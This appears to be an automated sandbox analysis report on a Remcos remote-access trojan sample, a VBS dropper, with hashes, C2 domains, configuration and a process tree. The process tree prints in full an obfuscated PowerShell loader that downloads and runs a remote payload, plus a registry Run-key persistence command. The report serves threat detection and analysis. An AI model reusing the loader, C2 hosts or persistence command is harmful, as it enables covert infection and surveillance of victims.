remcos | 34f96275918322ad5df35688f0d2c144ebe0fa84b074d7f25ca112b2e71370dd

General

Target

34f96275918322ad5df35688f0d2c144ebe0fa84b074d7f25ca112b2e71370dd.vbs
Size

17KB
MD5

83bb52876c9e18331047c18beabecaa6
SHA1

0ce3290bee56bec9662d1a1483e0abcfdd27d5e4
SHA256

34f96275918322ad5df35688f0d2c144ebe0fa84b074d7f25ca112b2e71370dd
SHA512

a598d004ab6b0d796db53654e82b94cc0d97eae99e42cebd15aa2db2f3c40a41012845d268732048d45dd8083d8c602d94794e8a1e528f825e391b42038b638c
SSDEEP

384:PTBcsgRgCHXO/jmovrQQ51yUVG/Pk6yTvB:rBggCHXO/p8Q2UVG/lyTJ

Score

10^/10

remcos server discovery persistence rat

Malware Config

Extracted

Family

remcos

Botnet

SERVER

C2

hoiujlos18jaru1.duckdns.org:19760

hoiujlos18jaru1.duckdns.org:19761

hoiujlos18jaru2.duckdns.org:19760

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
false
keylog_file
ploy.dat
keylog_flag
false
keylog_path
%AppData%
mouse_option
false
mutex
osfrerlhkrw-BTZQ53
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 4 IoCs

flow	pid	Process
3	596	WScript.exe
7	2420	powershell.exe
9	2984	msiexec.exe
11	2984	msiexec.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Run\Helicteres = "%Retill% -windowstyle 1 $Lanch=(gp -Path 'HKCU:\\Software\\efterretternes\\').Bringende;%Retill% ($Lanch)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2984	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2964	powershell.exe
2984	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1604	reg.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2420	powershell.exe
2964	powershell.exe
2964	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2964	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2420	powershell.exe
Token: SeDebugPrivilege	2964	powershell.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 596 wrote to memory of 2420	596	WScript.exe	31
PID 596 wrote to memory of 2420	596	WScript.exe	31
PID 596 wrote to memory of 2420	596	WScript.exe	31
PID 2964 wrote to memory of 2984	2964	powershell.exe	36
PID 2964 wrote to memory of 2984	2964	powershell.exe	36
PID 2964 wrote to memory of 2984	2964	powershell.exe	36
PID 2964 wrote to memory of 2984	2964	powershell.exe	36
PID 2964 wrote to memory of 2984	2964	powershell.exe	36
PID 2964 wrote to memory of 2984	2964	powershell.exe	36
PID 2964 wrote to memory of 2984	2964	powershell.exe	36
PID 2964 wrote to memory of 2984	2964	powershell.exe	36
PID 2984 wrote to memory of 2256	2984	msiexec.exe	37
PID 2984 wrote to memory of 2256	2984	msiexec.exe	37
PID 2984 wrote to memory of 2256	2984	msiexec.exe	37
PID 2984 wrote to memory of 2256	2984	msiexec.exe	37
PID 2256 wrote to memory of 1604	2256	cmd.exe	39
PID 2256 wrote to memory of 1604	2256	cmd.exe	39
PID 2256 wrote to memory of 1604	2256	cmd.exe	39
PID 2256 wrote to memory of 1604	2256	cmd.exe	39

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\34f96275918322ad5df35688f0d2c144ebe0fa84b074d7f25ca112b2e71370dd.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Tightenings='Snitten';;$Arbejdsministerium='Dirkens';;$Togbetjentens39='Stianes';;$Hverdagslivet='Gospodar';;$Gaelicism='Indigotindisulphonic';;$Velal=$host.Name;function Subcentral($Overestimations){If ($Velal) {$nyhedsorienterings=3} for ($lagging=$nyhedsorienterings;;$lagging+=4){if(!$Overestimations[$lagging]) { break }$Ceratiasis+=$Overestimations[$lagging]}$Ceratiasis}function Logomach($Blokerings){ .($Fimredes) ($Blokerings)}$Decapitation=Subcentral 'LoyNMo ePugTDo,. nW UlELadBDemcSlaLMuni .oe opnHy t';$Germanisere=Subcentral ' kiMHeloElezF ri .nl rylCo aUnn/';$Birdbrain=Subcentral 'F eTAdrlTins.ac1 Re2';$Depilerer='Pre[KnaNDokEK.oT,il.IleSU eeStoRHerVBl,iGyncTh.ERa pvadoArtiHydn RetJeoM C aAp.n ,aaSc gLuvE FrRInd] Ru:M.n:,rdSResERa CFjeuPaarL uIGnaTSvayDy.P.tar P oZooT ,ooUniCHa oPonLGra=,is$HikbGarI,akrTgedForbCanrMo AButi TeN';$Germanisere+=Subcentral ' Fi5Cus. K.0 Jv j(.ulW ediPaln Kod S.o SuwMassCig E NtraTB k ,i1Reb0Unf.Mf,0G.a;Twe DecW AfiM.nn Te6Phe4Mas;Al BesxKwe6 e4vae;Lan Tj rVanvUhj: Ce1Enc3 S 1cat.Non0Sma)Te Ra GTece Ekc ukEleo,it/Akr2 la0Bli1 nc0 ot0 De1Out0Af,1 No H.FMe.ime rRoaeEpifGrioBruxPho/lma1C l3Cli1Ser. De0';$Neighborly=Subcentral 'GesuBe S.nveAfgRAss-SamAPaggGrieBann.ndt';$Tipuloid=Subcentral 'TenhAsttStatRecp nsUn :Be / La/HanmKomy TocInsoGalmU npIntaG lnDi.y .esManc Hoa InnR tnOpse oidVe fU siIrelCoseBraz Rh. hocDatoIrimTr / L sUnicMurn,ng/ dyPSpilG aaUgenAconNeudDiarBori P.n ,agPreefisrFrt.D rxKnstProp';$Dehair=Subcentral 'mo >';$Fimredes=Subcentral ' oaIGulEPoix';$Dieselkretjer='Manifolder';$Novelry='\Medlemsstat.Tio';Logomach (Subcentral 'S,a$exaG aaLDocoOveB.traDoblMac:K,nUAmbDGraFMisrDepIAmpt OcT ibETo.d.ndeNaksPar=bre$A uEP oN umVSe,:PenANeup Bup nudKonACoiT leaOtt+Ste$.lanAirO .tVComE lblVanrTauY');Logomach (Subcentral 'Coe$ ngGutlTjeoDisbEnfaPanlove: BlG ellC,aa DesBurRRobRMe eFlaN a ESkis r=Bes$ omTondiC.mPGuaUho,L .locabIMrsd R .mess .apRa.l DaI EltUds(Sch$ForDRugeCy H S A E.i emrL.m)');Logomach (Subcentral $Depilerer);$Tipuloid=$Glasrrenes[0];$Kommunikationsformen=(Subcentral 'Skv$SkugS.pl M,oA tbS laMasLAtt:DekTSalR.ryIDevmReaPVrkrVame AngSt,NvareUdeR Emieu NKmpgUn,eNnnNEur=B onre,eDe.W er-TreOVa B U jC jEMi.cCa,t.el EngsForyDknSOveTScaeIltmDdp.Kar$tilDUngE .oCAf AE,iP PliEtttAnna ArTpakIelso scN');Logomach ($Kommunikationsformen);Logomach (Subcentral 'Hye$RaaTKonrGe,iSynm ynp H,rByge arg arn ne Kar eiDecnT,lgP,ae eanMat. RoHLane OxaAnidDobeEssr,dss.er[ Fo$SmiNDateTroiS ugEryhVirbForomudrUnml Doy y]B u=Djv$FreGDupeUnzrSkrmUd aF inIn iM tsAdeearcrUnde');$Outechos=Subcentral 'Fri$ arTSe rKediWhimFlapWivr Tme MagStrnReaeIndrheliEgnnVelg AkeGianPup.DraDDowoDyswUnbn Ccl ono B asu.dHe FVoli alMeneLft(,ar$SkiT D iEksp inu StlFl,oLekiStrdCha,To $Be,P RerF ro,wetKreo BakForoNe,lforl M e Prrk reGe.s.ev1fee9 Po8haa)';$Protokolleres198=$Udfrittedes;Logomach (Subcentral 'Sti$ PagKonLSumO Zib erA EslOpd: StaS rND.etCitH omRTilA KrqIn uBugi,kaniltOElenAnge In=Und(DmrtDi.e.krSImptFla-CirpFilaBartLeghund sti$EpipRanr etO roT BiOuncKDelO ubLS lLPseEL dRDyrEWhiSUb 1unl9Omf8,nt)');while (!$Anthraquinone) {Logomach (Subcentral 'Sky$Hegg Kol noPacb Kra CelGau: l A ElrLa bA ooMarrFlei,rozVi i Ben avgFri=Sa $ DaDAntaCocd F eHiglReslFarsBi.t') ;Logomach $Outechos;Logomach (Subcentral 'ParS.trt ReaPasrOxytP,d-ho.SOp lSkoE feP.spTet .h4');Logomach (Subcentral 'Blo$forGGanL SeoW eB ptaAllL Re:MonAPerNIntT SqHTrar uASkuQ NeURi.i PoNSt.OMulNDeceDis= er(D gt DieV ds WetLae- .opKluA A TImpHS r Bru$U cP rarCosO UntLumOA ekAgnO SplShaLobte k,RNite ksSPer1Skj9Mil8 i)') ;Logomach (Subcentral 'lob$J nG l LPalOT ibPagA udlK a:DksM T eUntR lbPerEPlaSSt KElea C TA tnl gIIndN VaG No= Fl$InsgKollUniOCalBTa aVarL Ad:P iaU,bADysr SlgSgeATr NbyggLimS orvpreiRetSTubEOzo+ r+ ,e%Sta$CrogUd lOutA EvsB bRre rPr.E atnSkoeA hS Ax. opC InOUdpuairNPatT') ;$Tipuloid=$Glasrrenes[$Merbeskatning]}$Frimrkealbumet=81047;$Proemptosis=30307;Logomach (Subcentral 'Trs$EgmgMetLH,soUnmb adADovLudl:friLB neP sJDeaET pkJe aSa,sCykEFejRa.yNDelEC.pnTro Ef =Vaa algSluEManT Tu-P iC eO Unn.elt SeE UnnE stSde Pro$KonP lrTelO hethydOIndkStioPogLMetlKilEMusR ftE rS M,1Unm9Und8');Logomach (Subcentral 'Slu$AntgEthlpl,oCirb.dsaDyblSkr:Sa WG uovinrBuelMa dH mlS giMannUsag risSke ,ki=Hu, ind[ BlSA ly Kosu ptUndeChamqu..EdbCForo inRh.v E e Anrko tfab]Fo.:.ot:St,FAnarmyroNedmTelBEleaSadsJeae.in6Ar 4TonSrestH.mrVati.genCitgSto(S.a$,veLCr.e Dej ane rikInfaHalsLinePrerCran OveE yn,ri)');Logomach (Subcentral 'Rip$ AuGO sLB,loDemB U,aSmiLBo :VegtUnovAurUHe NO,egcorEParnPra Mn=Bar Cot[trisafsy vsSoiTHemETh mYar..taTU.vE ewX OpT Bo. FoETr NRa CPyroGudDChiIFllnVenG Ru]Ana: ,e: otaCalsAm cPisIFr I.lu. pagArbES ttSersAzotAfiR SeIUreNSlaGfig(Int$Trew Amo AdR.ymL.igDDoblZiniCrynRing .oSWad)');Logomach (Subcentral ' ri$ upg NoLOffo habvauAModlPyn:a.eg PrLreta nsZMytIVrkn.rae B sTrySCha=Sem$Tr tSamV MiUMisnWitgForeDisNTar.sk SBlyUIntBRi,S Bet,ubr doID vnRetg re( ,a$ kuF,icrTraIRicMFloR G kXylEGrna,edlAmobDemU Obm DeeRvet P ,O.a$Papp,isrEtcoUdsE SkMSanpMa TJutoSkeSHe,I D.SVic)');Logomach $Glaziness;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2420

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Tightenings='Snitten';;$Arbejdsministerium='Dirkens';;$Togbetjentens39='Stianes';;$Hverdagslivet='Gospodar';;$Gaelicism='Indigotindisulphonic';;$Velal=$host.Name;function Subcentral($Overestimations){If ($Velal) {$nyhedsorienterings=3} for ($lagging=$nyhedsorienterings;;$lagging+=4){if(!$Overestimations[$lagging]) { break }$Ceratiasis+=$Overestimations[$lagging]}$Ceratiasis}function Logomach($Blokerings){ .($Fimredes) ($Blokerings)}$Decapitation=Subcentral 'LoyNMo ePugTDo,. nW UlELadBDemcSlaLMuni .oe opnHy t';$Germanisere=Subcentral ' kiMHeloElezF ri .nl rylCo aUnn/';$Birdbrain=Subcentral 'F eTAdrlTins.ac1 Re2';$Depilerer='Pre[KnaNDokEK.oT,il.IleSU eeStoRHerVBl,iGyncTh.ERa pvadoArtiHydn RetJeoM C aAp.n ,aaSc gLuvE FrRInd] Ru:M.n:,rdSResERa CFjeuPaarL uIGnaTSvayDy.P.tar P oZooT ,ooUniCHa oPonLGra=,is$HikbGarI,akrTgedForbCanrMo AButi TeN';$Germanisere+=Subcentral ' Fi5Cus. K.0 Jv j(.ulW ediPaln Kod S.o SuwMassCig E NtraTB k ,i1Reb0Unf.Mf,0G.a;Twe DecW AfiM.nn Te6Phe4Mas;Al BesxKwe6 e4vae;Lan Tj rVanvUhj: Ce1Enc3 S 1cat.Non0Sma)Te Ra GTece Ekc ukEleo,it/Akr2 la0Bli1 nc0 ot0 De1Out0Af,1 No H.FMe.ime rRoaeEpifGrioBruxPho/lma1C l3Cli1Ser. De0';$Neighborly=Subcentral 'GesuBe S.nveAfgRAss-SamAPaggGrieBann.ndt';$Tipuloid=Subcentral 'TenhAsttStatRecp nsUn :Be / La/HanmKomy TocInsoGalmU npIntaG lnDi.y .esManc Hoa InnR tnOpse oidVe fU siIrelCoseBraz Rh. hocDatoIrimTr / L sUnicMurn,ng/ dyPSpilG aaUgenAconNeudDiarBori P.n ,agPreefisrFrt.D rxKnstProp';$Dehair=Subcentral 'mo >';$Fimredes=Subcentral ' oaIGulEPoix';$Dieselkretjer='Manifolder';$Novelry='\Medlemsstat.Tio';Logomach (Subcentral 'S,a$exaG aaLDocoOveB.traDoblMac:K,nUAmbDGraFMisrDepIAmpt OcT ibETo.d.ndeNaksPar=bre$A uEP oN umVSe,:PenANeup Bup nudKonACoiT leaOtt+Ste$.lanAirO .tVComE lblVanrTauY');Logomach (Subcentral 'Coe$ ngGutlTjeoDisbEnfaPanlove: BlG ellC,aa DesBurRRobRMe eFlaN a ESkis r=Bes$ omTondiC.mPGuaUho,L .locabIMrsd R .mess .apRa.l DaI EltUds(Sch$ForDRugeCy H S A E.i emrL.m)');Logomach (Subcentral $Depilerer);$Tipuloid=$Glasrrenes[0];$Kommunikationsformen=(Subcentral 'Skv$SkugS.pl M,oA tbS laMasLAtt:DekTSalR.ryIDevmReaPVrkrVame AngSt,NvareUdeR Emieu NKmpgUn,eNnnNEur=B onre,eDe.W er-TreOVa B U jC jEMi.cCa,t.el EngsForyDknSOveTScaeIltmDdp.Kar$tilDUngE .oCAf AE,iP PliEtttAnna ArTpakIelso scN');Logomach ($Kommunikationsformen);Logomach (Subcentral 'Hye$RaaTKonrGe,iSynm ynp H,rByge arg arn ne Kar eiDecnT,lgP,ae eanMat. RoHLane OxaAnidDobeEssr,dss.er[ Fo$SmiNDateTroiS ugEryhVirbForomudrUnml Doy y]B u=Djv$FreGDupeUnzrSkrmUd aF inIn iM tsAdeearcrUnde');$Outechos=Subcentral 'Fri$ arTSe rKediWhimFlapWivr Tme MagStrnReaeIndrheliEgnnVelg AkeGianPup.DraDDowoDyswUnbn Ccl ono B asu.dHe FVoli alMeneLft(,ar$SkiT D iEksp inu StlFl,oLekiStrdCha,To $Be,P RerF ro,wetKreo BakForoNe,lforl M e Prrk reGe.s.ev1fee9 Po8haa)';$Protokolleres198=$Udfrittedes;Logomach (Subcentral 'Sti$ PagKonLSumO Zib erA EslOpd: StaS rND.etCitH omRTilA KrqIn uBugi,kaniltOElenAnge In=Und(DmrtDi.e.krSImptFla-CirpFilaBartLeghund sti$EpipRanr etO roT BiOuncKDelO ubLS lLPseEL dRDyrEWhiSUb 1unl9Omf8,nt)');while (!$Anthraquinone) {Logomach (Subcentral 'Sky$Hegg Kol noPacb Kra CelGau: l A ElrLa bA ooMarrFlei,rozVi i Ben avgFri=Sa $ DaDAntaCocd F eHiglReslFarsBi.t') ;Logomach $Outechos;Logomach (Subcentral 'ParS.trt ReaPasrOxytP,d-ho.SOp lSkoE feP.spTet .h4');Logomach (Subcentral 'Blo$forGGanL SeoW eB ptaAllL Re:MonAPerNIntT SqHTrar uASkuQ NeURi.i PoNSt.OMulNDeceDis= er(D gt DieV ds WetLae- .opKluA A TImpHS r Bru$U cP rarCosO UntLumOA ekAgnO SplShaLobte k,RNite ksSPer1Skj9Mil8 i)') ;Logomach (Subcentral 'lob$J nG l LPalOT ibPagA udlK a:DksM T eUntR lbPerEPlaSSt KElea C TA tnl gIIndN VaG No= Fl$InsgKollUniOCalBTa aVarL Ad:P iaU,bADysr SlgSgeATr NbyggLimS orvpreiRetSTubEOzo+ r+ ,e%Sta$CrogUd lOutA EvsB bRre rPr.E atnSkoeA hS Ax. opC InOUdpuairNPatT') ;$Tipuloid=$Glasrrenes[$Merbeskatning]}$Frimrkealbumet=81047;$Proemptosis=30307;Logomach (Subcentral 'Trs$EgmgMetLH,soUnmb adADovLudl:friLB neP sJDeaET pkJe aSa,sCykEFejRa.yNDelEC.pnTro Ef =Vaa algSluEManT Tu-P iC eO Unn.elt SeE UnnE stSde Pro$KonP lrTelO hethydOIndkStioPogLMetlKilEMusR ftE rS M,1Unm9Und8');Logomach (Subcentral 'Slu$AntgEthlpl,oCirb.dsaDyblSkr:Sa WG uovinrBuelMa dH mlS giMannUsag risSke ,ki=Hu, ind[ BlSA ly Kosu ptUndeChamqu..EdbCForo inRh.v E e Anrko tfab]Fo.:.ot:St,FAnarmyroNedmTelBEleaSadsJeae.in6Ar 4TonSrestH.mrVati.genCitgSto(S.a$,veLCr.e Dej ane rikInfaHalsLinePrerCran OveE yn,ri)');Logomach (Subcentral 'Rip$ AuGO sLB,loDemB U,aSmiLBo :VegtUnovAurUHe NO,egcorEParnPra Mn=Bar Cot[trisafsy vsSoiTHemETh mYar..taTU.vE ewX OpT Bo. FoETr NRa CPyroGudDChiIFllnVenG Ru]Ana: ,e: otaCalsAm cPisIFr I.lu. pagArbES ttSersAzotAfiR SeIUreNSlaGfig(Int$Trew Amo AdR.ymL.igDDoblZiniCrynRing .oSWad)');Logomach (Subcentral ' ri$ upg NoLOffo habvauAModlPyn:a.eg PrLreta nsZMytIVrkn.rae B sTrySCha=Sem$Tr tSamV MiUMisnWitgForeDisNTar.sk SBlyUIntBRi,S Bet,ubr doID vnRetg re( ,a$ kuF,icrTraIRicMFloR G kXylEGrna,edlAmobDemU Obm DeeRvet P ,O.a$Papp,isrEtcoUdsE SkMSanpMa TJutoSkeSHe,I D.SVic)');Logomach $Glaziness;"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2964
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2984
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Helicteres" /t REG_EXPAND_SZ /d "%Retill% -windowstyle 1 $Lanch=(gp -Path 'HKCU:\Software\efterretternes\').Bringende;%Retill% ($Lanch)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2256
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Helicteres" /t REG_EXPAND_SZ /d "%Retill% -windowstyle 1 $Lanch=(gp -Path 'HKCU:\Software\efterretternes\').Bringende;%Retill% ($Lanch)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:1604

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
a633d18ac7e60ad20e6d9921ecf4bb93

SHA1
1cae6694f9c46480919e3df8b3871fc16a8e025f

SHA256
c65db503c7597a4a699e04be553048d426d650d7d87e172d22edb3334fc6ae2e

SHA512
f7ee2ce2b1827f16727e085820e9a8e84b1900990c75cd9046da30dc4dfe305940b3ab68b00689a1173c0e85569c88eece4b79eed246b1f689c257a697094d66

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabD126.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar40B9.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Roaming\Medlemsstat.Tio

Filesize
144KB

MD5
563685c67e8507fb188ff0b8dbdfdb4b

SHA1
fbdbe643248ec87ab0b9a35a8e92ebcaf283d13f

SHA256
a9b82a9a5555d5dcbb31dfd0d2226c19c284a9d5aecbcb942f9f12cde148bd0a

SHA512
40f6e19d838eac5888b930628cf578200507a27cb604e0233337ab3050f71481bda37002dcf60e1c404831e022c7ad24e2be63a9d6647c300880aac7192d6018

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\E8WECGA1ZRT9DGIHDFMO.temp

Filesize
7KB

MD5
2642b0d57be937d76cadd3e9c32cfdae

SHA1
5c81c70a7204f153071aeb03ab6f327cd31f23d9

SHA256
b68d2d96dfcabe083486b9dc80daaa682c85509319707e017fedac265a9f1529

SHA512
7658b82311908179efa0367153a1a54e5b54b6ebd4f3809fbce0d51d29df8457fd63fd0b71e464e84bed4f7ca1d85cc1b358f0a349ef80a6606d58c9136c5aaa

Download Submit
memory/2420-22-0x0000000002350000-0x0000000002358000-memory.dmp

Filesize
32KB

Download
memory/2420-25-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/2420-26-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/2420-28-0x000007FEF5EDE000-0x000007FEF5EDF000-memory.dmp

Filesize
4KB

Download
memory/2420-29-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/2420-31-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/2420-24-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/2420-23-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/2420-21-0x000000001B560000-0x000000001B842000-memory.dmp

Filesize
2.9MB

Download
memory/2420-20-0x000007FEF5EDE000-0x000007FEF5EDF000-memory.dmp

Filesize
4KB

Download
memory/2964-35-0x0000000006640000-0x000000000B5FA000-memory.dmp

Filesize
79.7MB

Download
memory/2984-54-0x0000000000610000-0x0000000001672000-memory.dmp

Filesize
16.4MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads